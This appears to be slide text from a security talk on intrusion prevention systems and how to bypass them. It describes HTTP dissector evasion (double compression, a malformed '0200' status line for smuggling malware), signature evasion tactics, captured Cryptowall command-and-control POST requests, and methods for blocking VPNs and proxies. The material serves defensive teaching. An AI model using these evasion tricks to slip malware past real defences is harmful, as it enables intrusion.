



IPS & Bypass techniques

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WTF is IPS?

Intrusion Prevention System:

- gateway
- dissector
- take action
 - Block
 - Allow

Firewall vs IPS

- Firewall: doorman
- IPS: security check

Why IPS?

- Pre infection
- Post infection
- Network Exploits
- Application control

How it works?

IPS ENGINE

Dissectors



Signatures



action

Dissector weaknesses

- Have to be:
 - Fast (matter of milli seconds)
 - Standard protocols

```
TCP      66  80 → 58358 [SYN, ACK] Seq=0 Ack=1 Win=8192 Len=0 MSS=1452 S
TCP      54  58358 → 80 [ACK] Seq=1 Ack=1 Win=262144 Len=0
TCP      70  58358 → 80 [PSH, ACK] Seq=1 Ack=1 Win=262144 Len=16
TCP      70 [TCP Retransmission] 58358 → 80 [PSH, ACK] Seq=1 Ack=1 Win=
TCP      66  80 → 58358 [ACK] Seq=1 Ack=17 Win=14848 Len=0 SLE=1 SRE=17
HTTP     70  Continuation
TCP      54  80 → 58358 [ACK] Seq=1 Ack=33 Win=14848 Len=0
TCP      55  58358 → 80 [PSH, ACK] Seq=33 Ack=1 Win=262144 Len=1
TCP      54  80 → 58358 [ACK] Seq=1 Ack=34 Win=14848 Len=0
HTTP     654  HTTP/1.1 301 Redirect (text/html)
TCP      54  58358 → 80 [ACK] Seq=34 Ack=601 Win=261536 Len=0
```

Wireshark · Follow TCP Stream (tcp.stream eq 0) · wireshark_pcapng_en0_20160

GET / HTTP/1.1
Host: yahoo.com

HTTP/1.1 301 Redirect

Bypass dissector 2

```
HTTP/1.1 200 ok
```

```
Content-encoding: deflate
```

```
Content-encoding: gzip
```

```
content which is first compressed with deflate and then with gzip
```


Bypass dissector 3

```
HTTP/1.1 0200 invalid
```

```
Content-type: application/octet-stream
```

```
malware
```

Signature weaknesses

- Have to be:
 - Fast
 - Low False Positive rate
 - High coverage*

Bypass signature

- Change pattern over time
- Use randomness
- Use encryption
- Use popular pattern to increase FP risk

Case study # 1

➔ Cryptowall 3.0

```
POST /wp-content/plugins/revslider/temp/update_extract/revslider/img5.php?w=gilufxt2m2p
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
Content-Length: 132
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2
CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
Host: alebehr.com
Cache-Control: no-cache

x=1e7f98439c9fc20a71adc2a0826a64ea4a8985f8d7c752dccd3b6add90f4f7cf900bc8f500b2a8d321a864
c02114a3032d2000c9HTTP/1.1 405 Method Not Allowed
```

Case study #1

➔ Cryptowall 4.0 post infection

```
POST /e25yBh.php?d=r11uanhn2216czt HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
Content-Length: 123
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6
CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
Host: lasaches.com
Cache-Control: no-cache

t=7a666b316c7839a0dfa58e6d6f82032a5e81c323c00206bd32803e825
08669b2HTTP/1.1 200 OK
Date: Fri, 05 Feb 2010 15:05:31 GMT
```

Case study #2

➤ Block VPN/Proxy

➤ HTTP proxy:

- "GET http[s]://"
- "CONNECT"

➤ HTTPS proxy:

- Block certificate: common name/public key/fingerprint

➤ SSH tunnel:

- Banner/IP/hostname

➤ Obfuscated SSH:

- Block IP/"unknown" traffic

THANK YOU!

➤ References:

- <http://noxxi.de/research/http-evader.html>
- https://en.wikipedia.org/wiki/Intrusion_prevention_system